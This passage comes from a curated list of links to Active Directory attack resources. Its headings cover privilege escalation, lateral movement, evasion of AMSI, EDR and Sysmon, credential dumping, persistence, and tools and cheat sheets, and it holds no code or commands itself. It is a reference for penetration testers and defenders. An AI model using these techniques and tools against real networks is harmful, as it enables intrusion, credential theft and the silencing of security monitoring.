MailSniper](https://www.youtube.com/watch?v=ZIOw_xfqkKM) * [Remotely Searching for Sensitive Files](https://www.fortynorthsecurity.com/remotely-search/) * [I Hunt Sysadmins - harmj0y](https://blog.harmj0y.net/penetesting/i-hunt-sysadmins/) ### User Hunting * [Hidden Administrative Accounts: BloodHound to the Rescue](https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/) * [Active Directory Recon Without Admin Rights](https://adsecurity.org/?p=2535) * [Gathering AD Data with the Active Directory PowerShell Module](https://adsecurity.org/?p=3719) * [Using ActiveDirectory module for Domain Enumeration from PowerShell Constrained Language Mode](http://www.labofapenetrationtester.com/2018/10/domain-enumeration-from-PowerShell-CLM.html) * [PowerUpSQL Active Directory Recon Functions](https://github.com/NetSPI/PowerUpSQL/wiki/Active-Directory-Recon-Functions) * [Derivative Local Admin](https://medium.com/@sixdub/derivative-local-admin-cdd09445aac8) * [Automated Derivative Administrator Search](https://wald0.com/?p=14) * [Dumping Active Directory Domain Info – with PowerUpSQL!](https://blog.netspi.com/dumping-active-directory-domain-info-with-powerupsql/) * [Local Group Enumeration](https://blog.harmj0y.net/redteaming/local-group-enumeration/) * [Attack Mapping With Bloodhound](https://blog.stealthbits.com/local-admin-mapping-bloodhound) * [Situational Awareness](https://pentestlab.blog/2018/05/28/situational-awareness/) * [Commands for Domain Network Compromise](https://www.javelin-networks.com/static/5fcc6e84.pdf) * [A Pentester’s Guide to Group Scoping](https://blog.harmj0y.net/activedirectory/a-pentesters-guide-to-group-scoping/) ### LAPS * [Microsoft LAPS Security & Active Directory LAPS Configuration Recon](https://adsecurity.org/?p=3164) * [Running LAPS with PowerView](https://blog.harmj0y.net/powershell/running-laps-with-powerview/) * [RastaMouse LAPS Part 1 & 2](https://rastamouse.me/tags/laps/) ### AppLocker * [Enumerating AppLocker Config](https://rastamouse.me/blog/applocker/) ### Active Directory Federation Services * [118 Attacking ADFS Endpoints with PowerShell Karl Fosaaen](https://www.youtube.com/watch?v=oTyLdAUjw30) * [Using PowerShell to Identify Federated Domains](https://blog.netspi.com/using-powershell-identify-federated-domains/) * [LyncSniper: A tool for penetration testing Skype for Business and Lync deployments](https://github.com/mdsecresearch/LyncSniper) * [Troopers 19 - I am AD FS and So Can You](https://www.slideshare.net/DouglasBienstock/troopers-19-i-am-ad-fs-and-so-can-you) ------ ## Privilege Escalation ### sAMAccountName Spoofing * [sAMAccountName spoofing](https://www.thehacker.recipes/ad/movement/kerberos/samaccountname-spoofing) * [CVE-2021-42287/CVE-2021-42278 Weaponisation](https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html) ### Abusing Active Directory Certificate Services * [Certified Pre-Owned](https://posts.specterops.io/certified-pre-owned-d95910965cd2) ### PetitPotam * [PetitPotam](https://github.com/topotam/PetitPotam) * [From Stranger to DA // Using PetitPotam to NTLM relay to Domain Administrator](https://blog.truesec.com/2021/08/05/from-stranger-to-da-using-petitpotam-to-ntlm-relay-to-active-directory/) ### Zerologon * [Cobalt Strike ZeroLogon-BOF](https://github.com/rsmudge/ZeroLogon-BOF) * [CVE-2020-1472 POC](https://github.com/dirkjanm/CVE-2020-1472) * [Zerologon: instantly become domain admin by subverting Netlogon cryptography (CVE-2020-1472)](https://www.secura.com/blog/zero-logon) ### Passwords in SYSVOL & Group Policy Preferences * [Finding Passwords in SYSVOL & Exploiting Group Policy Preferences](https://adsecurity.org/?p=2288) * [Pentesting in the Real World: Group Policy Pwnage](https://blog.rapid7.com/2016/07/27/pentesting-in-the-real-world-group-policy-pwnage/) ### MS14-068 Kerberos Vulnerability * [MS14-068: Vulnerability in (Active Directory) Kerberos Could Allow Elevation of Privilege](https://adsecurity.org/?p=525) * [Digging into MS14-068, Exploitation and Defence](https://labs.mwrinfosecurity.com/blog/digging-into-ms14-068-exploitation-and-defence/) * [From MS14-068 to Full Compromise – Step by Step](https://www.trustedsec.com/2014/12/ms14-068-full-compromise-step-step/) ### DNSAdmins * [Abusing DNSAdmins privilege for escalation in Active Directory](http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) * [From DNSAdmins to Domain Admin, When DNSAdmins is More than Just DNS Administration](https://adsecurity.org/?p=4064) ### Kerberos Delegation * [Constructing Kerberos Attacks with Delegation Primitives](https://shenaniganslabs.io/media/Constructing%20Kerberos%20Attacks%20with%20Delegation%20Primitives.pdf) * [No Shells Required - a Walkthrough on Using Impacket and Kerberos to Delegate Your Way to DA](http://blog.redxorblue.com/2019/12/no-shells-required-using-impacket-to.html) * [CVE-2020-17049: Kerberos Bronze Bit Attack – Overview](https://blog.netspi.com/cve-2020-17049-kerberos-bronze-bit-overview/) #### Unconstrained Delegation * [Domain Controller Print Server + Unconstrained Kerberos Delegation = Pwned Active Directory Forest](https://adsecurity.org/?p=4056) * [Active Directory Security Risk #101: Kerberos Unconstrained Delegation (or How Compromise of a Single Server Can Compromise the Domain)](https://adsecurity.org/?p=1667) * [Unconstrained Delegation Permissions](https://blog.stealthbits.com/unconstrained-delegation-permissions/) * [Trust? Years to earn, seconds to break](https://labs.mwrinfosecurity.com/blog/trust-years-to-earn-seconds-to-break/) * [Hunting in Active Directory: Unconstrained Delegation & Forests Trusts](https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1) * [Exploiting Unconstrained Delegation](https://www.riccardoancarani.it/exploiting-unconstrained-delegation/) #### Constrained Delegation * [Another Word on Delegation](https://blog.harmj0y.net/redteaming/another-word-on-delegation/) * [From Kekeo to Rubeus](https://blog.harmj0y.net/redteaming/from-kekeo-to-rubeus/) * [S4U2Pwnage](https://blog.harmj0y.net/activedirectory/s4u2pwnage/) * [Kerberos Delegation, Spns And More...](https://www.secureauth.com/blog/kerberos-delegation-spns-and-more) #### Resource-Based Constrained Delegation * [Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html) * [Kerberos Resource-based Constrained Delegation: Computer Object Take Over](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution) * [Resource Based Constrained Delegation](https://blog.stealthbits.com/resource-based-constrained-delegation-abuse/) * [A Case Study in Wagging the Dog: Computer Takeover](https://blog.harmj0y.net/activedirectory/a-case-study-in-wagging-the-dog-computer-takeover/) * [BloodHound 2.1's New Computer Takeover Attack](https://www.youtube.com/watch?v=RUbADHcBLKg) ### Insecure Group Policy Object Permission Rights * [Abusing GPO Permissions](https://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/) * [A Red Teamer’s Guide to GPOs and OUs](https://wald0.com/?p=179) * [File templates for GPO Abuse](https://github.com/rasta-mouse/GPO-Abuse) * [GPO Abuse - Part 1](https://rastamouse.me/blog/gpo-abuse-pt1/) * [GPO Abuse - Part 2](https://rastamouse.me/blog/gpo-abuse-pt2/) * [SharpGPOAbuse](https://github.com/mwrlabs/SharpGPOAbuse) ### Insecure ACLs Permission Rights * [Exploiting Weak Active Directory Permissions With Powersploit](https://blog.stealthbits.com/exploiting-weak-active-directory-permissions-with-powersploit/) * [Escalating privileges with ACLs in Active Directory ](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/) * [Abusing Active Directory Permissions with PowerView ](https://blog.harmj0y.net/redteaming/abusing-active-directory-permissions-with-powerview/) * [BloodHound 1.3 – The ACL Attack Path Update](https://wald0.com/?p=112) * [Scanning for Active Directory Privileges & Privileged Accounts](https://adsecurity.org/?p=3658) * [Active Directory Access Control List – Attacks and Defense](https://techcommunity.microsoft.com/t5/Enterprise-Mobility-Security/Active-Directory-Access-Control-List-8211-Attacks-and-Defense/ba-p/250315) * [aclpwn - Active Directory ACL exploitation with BloodHound](https://www.slideshare.net/DirkjanMollema/aclpwn-active-directory-acl-exploitation-with-bloodhound) ### Domain Trusts * [A Guide to Attacking Domain Trusts](https://blog.harmj0y.net/redteaming/a-guide-to-attacking-domain-trusts/) * [It's All About Trust – Forging Kerberos Trust Tickets to Spoof Access across Active Directory Trusts](https://adsecurity.org/?p=1588) * [Active Directory forest trusts part 1 - How does SID filtering work?](https://dirkjanm.io/active-directory-forest-trusts-part-one-how-does-sid-filtering-work) * [The Forest Is Under Control. Taking over the entire Active Directory forest](https://hackmag.com/security/ad-forest/) * [Not A Security Boundary: Breaking Forest Trusts](https://posts.specterops.io/not-a-security-boundary-breaking-forest-trusts-cd125829518d) * [The Trustpocalypse](https://blog.harmj0y.net/redteaming/the-trustpocalypse/) * [Pentesting Active Directory Forests](https://www.dropbox.com/s/ilzjtlo0vbyu1u0/Carlos%20Garcia%20-%20Rooted2019%20-%20Pentesting%20Active%20Directory%20Forests%20public.pdf?dl=0) * [Security Considerations for Active Directory (AD) Trusts](https://adsecurity.org/?p=282) * [Kerberos Golden Tickets are Now More Golden](https://adsecurity.org/?p=1640) ### DCShadow * [Privilege Escalation With DCShadow](https://blog.stealthbits.com/privilege-escalation-with-dcshadow/) * [DCShadow](https://pentestlab.blog/2018/04/16/dcshadow/) * [DCShadow explained: A technical deep dive into the latest AD attack technique](https://blog.alsid.eu/dcshadow-explained-4510f52fc19d) * [DCShadow - Silently turn off Active Directory Auditing](http://www.labofapenetrationtester.com/2018/05/dcshadow-sacl.html) * [DCShadow - Minimal permissions, Active Directory Deception, Shadowception and more](http://www.labofapenetrationtester.com/2018/04/dcshadow.html) ### RID * [Rid Hijacking: When Guests Become Admins](https://blog.stealthbits.com/rid-hijacking-when-guests-become-admins/) ### Microsoft SQL Server * [How to get SQL Server Sysadmin Privileges as a Local Admin with PowerUpSQL](https://blog.netspi.com/get-sql-server-sysadmin-privileges-local-admin-powerupsql/) * [Compromise With Powerupsql – Sql Attacks](https://blog.stealthbits.com/compromise-with-powerupsql-sql-attacks/) ### Red Forest * [Attack and defend Microsoft Enhanced Security Administrative](https://download.ernw-insight.de/troopers/tr18/slides/TR18_AD_Attack-and-Defend-Microsoft-Enhanced-Security.pdf) ### Exchange * [Exchange-AD-Privesc](https://github.com/gdedrouas/Exchange-AD-Privesc) * [Abusing Exchange: One API call away from Domain Admin](https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/) * [NtlmRelayToEWS](https://github.com/Arno0x/NtlmRelayToEWS) ### NTLM Relay & LLMNR/NBNS * [Pwning with Responder – A Pentester’s Guide](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/) * [Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes)](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html) * [Relaying credentials everywhere with ntlmrelayx](https://www.fox-it.com/en/insights/blogs/blog/inside-windows-network/) * [Beyond LLMNR/NBNS Spoofing – Exploiting Active Directory-Integrated DNS](https://blog.netspi.com/exploiting-adidns/) * [Combining NTLM Relaying and Kerberos delegation](https://chryzsh.github.io/relaying-delegation/) * [mitm6 – compromising IPv4 networks via IPv6](https://www.fox-it.com/en/news/blog/mitm6-compromising-ipv4-networks-via-ipv6/) * [The worst of both worlds: Combining NTLM Relaying and Kerberos delegation](https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/) ------ ## Lateral Movement ### Microsoft SQL Server Database links * [SQL Server – Link… Link… Link… and Shell: How to Hack Database Links in SQL Server!](https://blog.netspi.com/how-to-hack-database-links-in-sql-server/) * [SQL Server Link Crawling with PowerUpSQL](https://blog.netspi.com/sql-server-link-crawling-powerupsql/) ### Pass The Hash * [Performing Pass-the-hash Attacks With Mimikatz](https://blog.stealthbits.com/passing-the-hash-with-mimikatz) * [How to Pass-the-Hash with Mimikatz](https://blog.cobaltstrike.com/2015/05/21/how-to-pass-the-hash-with-mimikatz/) * [Pass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicy](https://www.harmj0y.net/blog/redteaming/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy/) ### System Center Configuration Manager (SCCM) * [Targeted Workstation Compromise With Sccm](https://enigma0x3.net/2015/10/27/targeted-workstation-compromise-with-sccm/) * [PowerSCCM - PowerShell module to interact with SCCM deployments](https://github.com/PowerShellMafia/PowerSCCM) ### WSUS * [Remote Weaponization of WSUS MITM](https://www.sixdub.net/?p=623) * [WSUSpendu](https://www.blackhat.com/docs/us-17/wednesday/us-17-Coltel-WSUSpendu-Use-WSUS-To-Hang-Its-Clients-wp.pdf) * [Leveraging WSUS – Part One](https://ijustwannared.team/2018/10/15/leveraging-wsus-part-one/) ### Password Spraying * [Password Spraying Windows Active Directory Accounts - Tradecraft Security Weekly #5](https://www.youtube.com/watch?v=xB26QhnL64c) * [Attacking Exchange with MailSniper](https://www.blackhillsinfosec.com/attacking-exchange-with-mailsniper/) * [A Password Spraying tool for Active Directory Credentials by Jacob Wilkin](https://github.com/SpiderLabs/Spray) * [SprayingToolkit](https://github.com/byt3bl33d3r/SprayingToolkit) ### Automated Lateral Movement * [GoFetch is a tool to automatically exercise an attack plan generated by the BloodHound application](https://github.com/GoFetchAD/GoFetch) * [DeathStar - Automate getting Domain Admin using Empire](https://github.com/byt3bl33d3r/DeathStar) * [ANGRYPUPPY - Bloodhound Attack Path Automation in CobaltStrike](https://github.com/vysec/ANGRYPUPPY) ------ ## Defense Evasion ### In-Memory Evasion * [Bypassing Memory Scanners with Cobalt Strike and Gargoyle](https://labs.mwrinfosecurity.com/blog/experimenting-bypassing-memory-scanners-with-cobalt-strike-and-gargoyle/) * [In-Memory Evasions Course](https://www.youtube.com/playlist?list=PL9HO6M_MU2nc5Q31qd2CwpZ8J4KFMhgnK) * [Bring Your Own Land (BYOL) – A Novel Red Teaming Technique](https://www.fireeye.com/blog/threat-research/2018/06/bring-your-own-land-novel-red-teaming-technique.html) ### Endpoint Detection and Response (EDR) Evasion * [Red Teaming in the EDR age](https://youtu.be/l8nkXCOYQC4) * [Sharp-Suite - Process Argument Spoofing](https://github.com/FuzzySecurity/Sharp-Suite) * [Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR](https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/) * [Dechaining Macros and Evading EDR](https://www.countercept.com/blog/dechaining-macros-and-evading-edr/) * [Bypass EDR’s memory protection, introduction to hooking](https://medium.com/@fsx30/bypass-edrs-memory-protection-introduction-to-hooking-2efb21acffd6) * [Bypassing Cylance and other AVs/EDRs by Unhooking Windows APIs](https://ired.team/offensive-security/defense-evasion/bypassing-cylance-and-other-avs-edrs-by-unhooking-windows-apis) * [Silencing Cylance: A Case Study in Modern EDRs](https://www.mdsec.co.uk/2019/03/silencing-cylance-a-case-study-in-modern-edrs/) ### OPSEC * [Modern Defenses and YOU!](https://blog.cobaltstrike.com/2017/10/25/modern-defenses-and-you/) * [OPSEC Considerations for Beacon Commands](https://blog.cobaltstrike.com/2017/06/23/opsec-considerations-for-beacon-commands/) * [Red Team Tradecraft and TTP Guidance](https://sec564.com/#!docs/tradecraft.md) * [Fighting the Toolset](https://www.youtube.com/watch?v=RoqVunX_sqA) ### Microsoft ATA & ATP Evasion * [Red Team Techniques for Evading, Bypassing, and Disabling MS Advanced Threat Protection and Advanced Threat Analytics](https://www.blackhat.com/docs/eu-17/materials/eu-17-Thompson-Red-Team-Techniques-For-Evading-Bypassing-And-Disabling-MS-Advanced-Threat-Protection-And-Advanced-Threat-Analytics.pdf) * [Red Team Revenge - Attacking Microsoft ATA](https://www.slideshare.net/nikhil_mittal/red-team-revenge-attacking-microsoft-ata) * [Evading Microsoft ATA for Active Directory Domination](https://www.slideshare.net/nikhil_mittal/evading-microsoft-ata-for-active-directory-domination) ### PowerShell ScriptBlock Logging Bypass * [PowerShell ScriptBlock Logging Bypass](https://cobbr.io/ScriptBlock-Logging-Bypass.html) ### PowerShell Anti-Malware Scan Interface (AMSI) Bypass * [How to bypass AMSI and execute ANY malicious Powershell code](https://0x00-0x00.github.io/research/2018/10/28/How-to-bypass-AMSI-and-Execute-ANY-malicious-powershell-code.html) * [AMSI: How Windows 10 Plans to Stop Script-Based Attacks](https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf) * [AMSI Bypass: Patching Technique](https://www.cyberark.com/threat-research-blog/amsi-bypass-patching-technique/) * [Invisi-Shell - Hide your Powershell script in plain sight. Bypass all Powershell security features](https://github.com/OmerYa/Invisi-Shell) * [Dynamic Microsoft Office 365 AMSI In Memory Bypass Using VBA](https://secureyourit.co.uk/wp/2019/05/10/dynamic-microsoft-office-365-amsi-in-memory-bypass-using-vba/) * [AmsiScanBuffer Bypass - Part 1](https://rastamouse.me/2018/10/amsiscanbuffer-bypass---part-1/) * [AMSI Bypass](https://www.contextis.com/en/blog/amsi-bypass) ### Loading .NET Assemblies Anti-Malware Scan Interface (AMSI) Bypass * [A PoC function to corrupt the g_amsiContext global variable in clr.dll in .NET Framework Early Access build 3694](https://gist.github.com/mattifestation/ef0132ba4ae3cc136914da32a88106b9) ### AppLocker & Device Guard Bypass * [Living Off The Land Binaries And Scripts - (LOLBins and LOLScripts)](https://lolbas-project.github.io/) ### Sysmon Evasion * [Subverting Sysmon: Application of a Formalized Security Product Evasion Methodology](https://github.com/mattifestation/BHUSA2018_Sysmon) * [sysmon-config-bypass-finder](https://github.com/mkorman90/sysmon-config-bypass-finder) * [Shhmon — Silencing Sysmon via Driver Unload](https://posts.specterops.io/shhmon-silencing-sysmon-via-driver-unload-682b5be57650) ### HoneyTokens Evasion * [Forging Trusts for Deception in Active Directory](http://www.labofapenetrationtester.com/2018/10/deploy-deception.html) * [Honeypot Buster: A Unique Red-Team Tool](https://jblog.javelin-networks.com/blog/the-honeypot-buster/) ### Disabling Security Tools * [Invoke-Phant0m - Windows Event Log Killer](https://github.com/hlldz/Invoke-Phant0m) ------ ## Credential Dumping ### NTDS.DIT Password Extraction * [How Attackers Pull the Active Directory Database (NTDS.dit) from a Domain Controller](https://adsecurity.org/?p=451) * [Extracting Password Hashes From The Ntds.dit File](https://blog.stealthbits.com/extracting-password-hashes-from-the-ntds-dit-file/) ### SAM (Security Accounts Manager) * [Internal Monologue Attack: Retrieving NTLM Hashes without Touching LSASS](https://github.com/eladshamir/Internal-Monologue) ### Kerberoasting * [Kerberoasting Without Mimikatz](https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/) * [Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain](https://adsecurity.org/?p=2293) * [Extracting Service Account Passwords With Kerberoasting](https://blog.stealthbits.com/extracting-service-account-passwords-with-kerberoasting/) * [Cracking Service Account Passwords with Kerberoasting](https://www.cyberark.com/blog/cracking-service-account-passwords-kerberoasting/) * [Kerberoast PW list for cracking passwords with complexity requirements](https://gist.github.com/edermi/f8b143b11dc020b854178d3809cf91b5) * [DerbyCon 2019 - Kerberoasting Revisited](https://www.slideshare.net/harmj0y/derbycon-2019-kerberoasting-revisited) ### Kerberos AP-REP Roasting * [Roasting AS-REPs](http://www.harmj0y.net/blog/activedirectory/roasting-as-reps/) ### Windows Credential Manager/Vault * [Operational Guidance for Offensive User DPAPI Abuse](https://www.harmj0y.net/blog/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/) * [Jumping Network Segregation with RDP](https://rastamouse.me/blog/rdp-jump-boxes/) ### DCSync * [Mimikatz and DCSync and ExtraSids, Oh My](https://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/) * [Mimikatz DCSync Usage, Exploitation, and Detection](https://adsecurity.org/?p=1729) * [Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync](https://adsecurity.org/?p=2053) ### LLMNR/NBT-NS Poisoning * [LLMNR/NBT-NS Poisoning Using Responder](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/) ### Others * [Compromising Plain Text Passwords In Active Directory](https://blog.stealthbits.com/compromising-plain-text-passwords-in-active-directory) * [Kerberos Tickets on Linux Red Teams](https://www.fireeye.com/blog/threat-research/2020/04/kerberos-tickets-on-linux-red-teams.html) ------ ## Persistence ### Diamond Ticket * [A Diamond (Ticket) in the Ruff](https://www.semperis.com/blog/a-diamond-ticket-in-the-ruff/) ### Golden Ticket * [Golden Ticket](https://pentestlab.blog/2018/04/09/golden-ticket/) * [Kerberos Golden Tickets are Now More Golden](https://adsecurity.org/?p=1640) ### SID History * [Sneaky Active Directory Persistence #14: SID History](https://adsecurity.org/?p=1772) ### Silver Ticket * [How Attackers Use Kerberos Silver Tickets to Exploit Systems](https://adsecurity.org/?p=2011) * [Sneaky Active Directory Persistence #16: Computer Accounts & Domain Controller Silver Tickets](https://adsecurity.org/?p=2753) ### DCShadow * [Creating Persistence With Dcshadow](https://blog.stealthbits.com/creating-persistence-with-dcshadow/) ### AdminSDHolder * [Sneaky Active Directory Persistence #15: Leverage AdminSDHolder & SDProp to (Re)Gain Domain Admin Rights](https://adsecurity.org/?p=1906) * [Persistence Using Adminsdholder And Sdprop](https://blog.stealthbits.com/persistence-using-adminsdholder-and-sdprop/) ### Group Policy Object * [Sneaky Active Directory Persistence #17: Group Policy](https://adsecurity.org/?p=2716) ### Skeleton Keys * [Unlocking All The Doors To Active Directory With The Skeleton Key Attack](https://blog.stealthbits.com/unlocking-all-the-doors-to-active-directory-with-the-skeleton-key-attack/) * [Skeleton Key](https://pentestlab.blog/2018/04/10/skeleton-key/) * [Attackers Can Now Use Mimikatz to Implant Skeleton Key on Domain Controllers & BackDoor Your Active Directory Forest](https://adsecurity.org/?p=1275) ### SeEnableDelegationPrivilege * [The Most Dangerous User Right You (Probably) Have Never Heard Of](https://blog.harmj0y.net/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/) * [SeEnableDelegationPrivilege Active Directory Backdoor](https://www.youtube.com/watch?v=OiqaO9RHskU) ### Security Support Provider * [Sneaky Active Directory Persistence #12: Malicious Security Support Provider (SSP)](https://adsecurity.org/?p=1760) ### Directory Services Restore Mode * [Sneaky Active Directory Persistence #11: Directory Service Restore Mode (DSRM)](https://adsecurity.org/?p=1714) * [Sneaky Active Directory Persistence #13: DSRM Persistence v2](https://adsecurity.org/?p=1785) ### ACLs & Security Descriptors * [An ACE Up the Sleeve: Designing Active Directory DACL Backdoors](https://www.blackhat.com/docs/us-17/wednesday/us-17-Robbins-An-ACE-Up-The-Sleeve-Designing-Active-Directory-DACL-Backdoors-wp.pdf) * [Shadow Admins – The Stealthy Accounts That You Should Fear The Most](https://www.cyberark.com/threat-research-blog/shadow-admins-stealthy-accounts-fear/) * [The Unintended Risks of Trusting Active Directory](https://www.slideshare.net/harmj0y/the-unintended-risks-of-trusting-active-directory) ## Tools & Scripts * [Certify](https://github.com/GhostPack/Certify) - Certify is a C# tool to enumerate and abuse misconfigurations in Active Directory Certificate Services (AD CS). * [PSPKIAudit](https://github.com/GhostPack/PSPKIAudit) - PowerShell toolkit for auditing Active Directory Certificate Services (AD CS). * [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) - Situational Awareness PowerShell framework * [BloodHound](https://github.com/BloodHoundAD/BloodHound) - Six Degrees of Domain Admin * [Impacket](https://github.com/SecureAuthCorp/impacket) - Impacket is a collection of Python classes for working with network protocols * [aclpwn.py](https://github.com/fox-it/aclpwn.py) - Active Directory ACL exploitation with BloodHound * [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec) - A swiss army knife for pentesting networks * [ADACLScanner](https://github.com/canix1/ADACLScanner) - A tool with GUI or command linte used to create reports of access control lists (DACLs) and system access control lists (SACLs) in Active Directory * [zBang](https://github.com/cyberark/zBang) - zBang is a risk assessment tool that detects potential privileged account threats * [SafetyKatz](https://github.com/GhostPack/SafetyKatz) - SafetyKatz is a combination of slightly modified version of @gentilkiwi's Mimikatz project and @subTee's .NET PE Loader. * [SharpDump](https://github.com/GhostPack/SharpDump) - SharpDump is a C# port of PowerSploit's Out-Minidump.ps1 functionality. * [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) - A PowerShell Toolkit for Attacking SQL Server * [Rubeus](https://github.com/GhostPack/Rubeus) - Rubeus is a C# toolset for raw Kerberos interaction and abuses * [ADRecon](https://github.com/sense-of-security/ADRecon) - A tool which gathers information about the Active Directory and generates a report which can provide a holistic picture of the current state of the target AD environment * [Mimikatz](https://github.com/gentilkiwi/mimikatz) - Utility to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory but also perform pass-the-hash, pass-the-ticket or build Golden tickets * [Grouper](https://github.com/l0ss/Grouper) - A PowerShell script for helping to find vulnerable settings in AD Group Policy. * [Powermad](https://github.com/Kevin-Robertson/Powermad) - PowerShell MachineAccountQuota and DNS exploit tools * [RACE](https://github.com/samratashok/RACE) - RACE is a PowerShell module for executing ACL attacks against Windows targets. * [DomainPasswordSpray](https://github.com/mdavis332/DomainPasswordSpray) - DomainPasswordSpray is a tool written in PowerShell to perform a password spray attack against users of a domain. * [MailSniper](https://github.com/dafthack/MailSniper) - MailSniper is a penetration testing tool for searching through email in a Microsoft Exchange environment for specific terms (passwords, insider intel, network architecture information, etc.) * [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) - Tool to audit and attack LAPS environments. * [CredDefense](https://github.com/CredDefense/CredDefense) - Credential and Red Teaming Defense for Windows Environments * [ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump) - Active Directory information dumper via LDAP * [SpoolSample](https://github.com/leechristensen/SpoolSample/) - PoC tool to coerce Windows hosts authenticate to other machines via the MS-RPRN RPC interface * [adconnectdump](https://github.com/fox-it/adconnectdump) - Azure AD Connect password extraction * [o365recon](https://github.com/nyxgeek/o365recon) - Script to retrieve information via O365 with a valid cred * [ROADtools](https://github.com/dirkjanm/ROADtools) - ROADtools is a framework to interact with Azure AD. I * [Stormspotter](https://github.com/Azure/Stormspotter) - Stormspotter creates an “attack graph” of the resources in an Azure subscription. * [AADInternals](https://github.com/Gerenios/AADInternals) - AADInternals is PowerShell module for administering Azure AD and Office 365 * [MicroBurst: A PowerShell Toolkit for Attacking Azure](https://github.com/NetSPI/MicroBurst) - MicroBurst includes functions and scripts that support Azure Services discovery, weak configuration auditing, and post exploitation actions such as credential dumping. * [sam-the-admin](https://github.com/WazeHell/sam-the-admin) - Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user * [CVE-2021-42287/CVE-2021-42278 Scanner & Exploiter.](https://github.com/cube0x0/noPac) - CVE-2021-42287/CVE-2021-42278 Scanner & Exploiter. Yet another low effort domain user to domain admin exploit. * [ADModule](https://github.com/samratashok/ADModule) - Microsoft signed ActiveDirectory PowerShell module * [ImproHound](https://github.com/improsec/ImproHound) - Identify the attack paths in BloodHound breaking your AD tiering * [ADExplorerSnapshot.py](https://github.com/c3c/ADExplorerSnapshot.py) - ADExplorerSnapshot.py is an AD Explorer snapshot ingestor for BloodHound. * [orpheus](https://github.com/trustedsec/orpheus) - Bypassing Kerberoast Detections with Modified KDC Options and Encryption Types * [BackupOperatorToolkit](https://github.com/improsec/BackupOperatorToolkit) ## Ebooks * [The Dog Whisperer’s Handbook – A Hacker’s Guide to the BloodHound Galaxy](https://www.ernw.de/download/BloodHoundWorkshop/ERNW_DogWhispererHandbook.pdf) * [Varonis eBook: Pen Testing Active Directory Environments](https://www.varonis.com/blog/varonis-ebook-pen-testing-active-directory-environments/) ## Cheat Sheets * [Tools Cheat Sheets](https://github.com/HarmJ0y/CheatSheets) - Tools (PowerView, PowerUp, Empire, and PowerSploit) * [DogWhisperer - BloodHound Cypher Cheat Sheet (v2)](https://github.com/SadProcessor/Cheats/blob/master/DogWhispererV2.md) * [PowerView-3.0 tips and tricks](https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993) * [PowerView-2.0 tips and tricks](https://gist.github.com/HarmJ0y/3328d954607d71362e3c) * [BloodhoundAD-Queries](https://github.com/Scoubi/BloodhoundAD-Queries) * [Kerberos Attacks Cheat Sheet](https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a) * [Bloodhound Cypher Cheatsheet](https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/) * [Kerberos cheatsheet](https://gist.github.com/knethteo/2fc8af6ea28199fd63a529a73a4176c7) * [Active Directory Exploitation Cheat Sheet](https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet) * [Pentesting Active Directory Mindmaps](https://orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2022_11.svg) ## Other Resources * [Tactics, Techniques and Procedures for Attacking Active Directory BlackHat Asia 2019](https://docs.google.com/presentation/d/1j2nW05H-iRz7-FVTRh-LBXQm6M6YIBQNWa4V7tp99YQ/) * [Bloodhound walkthrough. A Tool for Many Tradecrafts](https://www.pentestpartners.com/security-blog/bloodhound-walkthrough-a-tool-for-many-tradecrafts/) * [Attack Methods for Gaining Domain Admin Rights in Active Directory](https://adsecurity.org/?p=2362) * [PowerShell Is Dead Epic Learnings](https://www.slideshare.net/nettitude_labs/powershellisdeadepiclearningslondon) * [Finding Our Path: How We’re Trying to Improve Active Directory Security](https://docs.google.com/presentation/d/1lQHTqXZIDxwaIUnXdO-EdvGp79RzH1rbM4zE45Kki2I/edit#slide=id.g35f391192_00) * [SteelCon 2019: Getting Splunky With Kerberos - Ross Bingham and Tom MacDonald](https://www.youtube.com/watch?v=JcFdNAleIk4&feature=youtu.be) * [AD-security-workshop](https://github.com/wavestone-cdt/AD-security-workshop) ### Azure Active Directory * [AZURE AD INTRODUCTION FOR RED 